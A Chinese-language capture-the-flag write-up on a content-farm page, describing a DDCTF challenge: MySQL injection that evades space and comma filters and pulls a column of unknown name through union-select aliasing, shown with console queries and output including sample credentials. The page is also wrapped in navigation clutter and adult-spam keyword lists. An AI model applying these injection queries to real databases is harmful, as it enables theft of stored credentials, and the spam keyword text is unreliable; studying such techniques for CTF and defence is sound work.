国产99久久精品_欧美日本韩国一区二区_激情小说综合网_欧美一级二级视频_午夜av电影_日本久久精品视频

最新文章專題視頻專題問答1問答10問答100問答1000問答2000關鍵字專題1關鍵字專題50關鍵字專題500關鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關鍵字專題關鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
問答文章1 問答文章501 問答文章1001 問答文章1501 問答文章2001 問答文章2501 問答文章3001 問答文章3501 問答文章4001 問答文章4501 問答文章5001 問答文章5501 問答文章6001 問答文章6501 問答文章7001 問答文章7501 問答文章8001 問答文章8501 問答文章9001 問答文章9501
當前位置: 首頁 - 科技 - 知識百科 - 正文

關于Mysql如何巧妙的繞過未知字段名的實例代碼詳解

來源:懂視網 責編:小采 時間:2020-11-09 08:58:31
文檔

關于Mysql如何巧妙的繞過未知字段名的實例代碼詳解

關于Mysql如何巧妙的繞過未知字段名的實例代碼詳解:這篇文章主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧。前言本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機來操作了
推薦度:
導讀關于Mysql如何巧妙的繞過未知字段名的實例代碼詳解:這篇文章主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧。前言本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機來操作了

這篇文章主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧。

前言

本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細的介紹:

實現思路

題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;

存放flag的字段名未知,information_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用聯合查詢,過程如下:

思想就是獲取flag,讓其在已知字段名下出現;

示例代碼:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4 |
+-------------+
| 4 |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4 |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id | username | password | email |
+-------------+----------+----------+-------------+
| 1 | admin | admin888 | 110@110.com |
| 120@120.com | 1 | 1 | 1 |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

總結

聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

文檔

關于Mysql如何巧妙的繞過未知字段名的實例代碼詳解

關于Mysql如何巧妙的繞過未知字段名的實例代碼詳解:這篇文章主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧。前言本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機來操作了
推薦度:
標簽: 代碼 繞過 mysql
  • 熱門焦點

最新推薦

猜你喜歡

熱門推薦

專題
Top 主站蜘蛛池模板: 一级大黄毛片 | 亚洲国产视频网 | 精品国产免费一区二区三区五区 | 97久久精品一区二区三区 | 日韩一区二区三区四区不卡 | 欧美一区二区在线免费观看 | 亚洲日本一区二区三区 | 青青国产成人久久91网站站 | 国产日本精品 | 午夜国产在线 | 欧美在线一二三区 | 在线 v亚洲 v欧美v 专区 | 精品国产一区二区三区成人 | 国产精品高清视亚洲一区二区 | 国产三级福利 | 国产日韩欧美一区二区 | 亚洲国产成人久久一区二区三区 | 国产手机精品自拍视频 | 国产精品一区二区av | 国产日产欧美精品一区二区三区 | 日韩二三区 | 亚洲精品国产精品精 | 亚洲 欧美 91 | 成人久久久精品乱码一区二区三区 | 黄网站色视频免费观看 | 免费日本黄色网址 | 欧美亚洲天堂 | 久久国产视频一区 | 美女一丝不佳一级毛片大屁股 | 成人国内精品久久久久影院 | 韩日一区二区三区 | 久久久久久综合一区中文字幕 | 亚洲国产精品久久久久 | 欧美日韩小视频 | 在线观看国产日韩 | 国产一区二区免费视频 | 韩国一区| 亚欧国产 | 黄毛片免费 | 最新国产在线 | 日韩欧美精品一区二区三区 |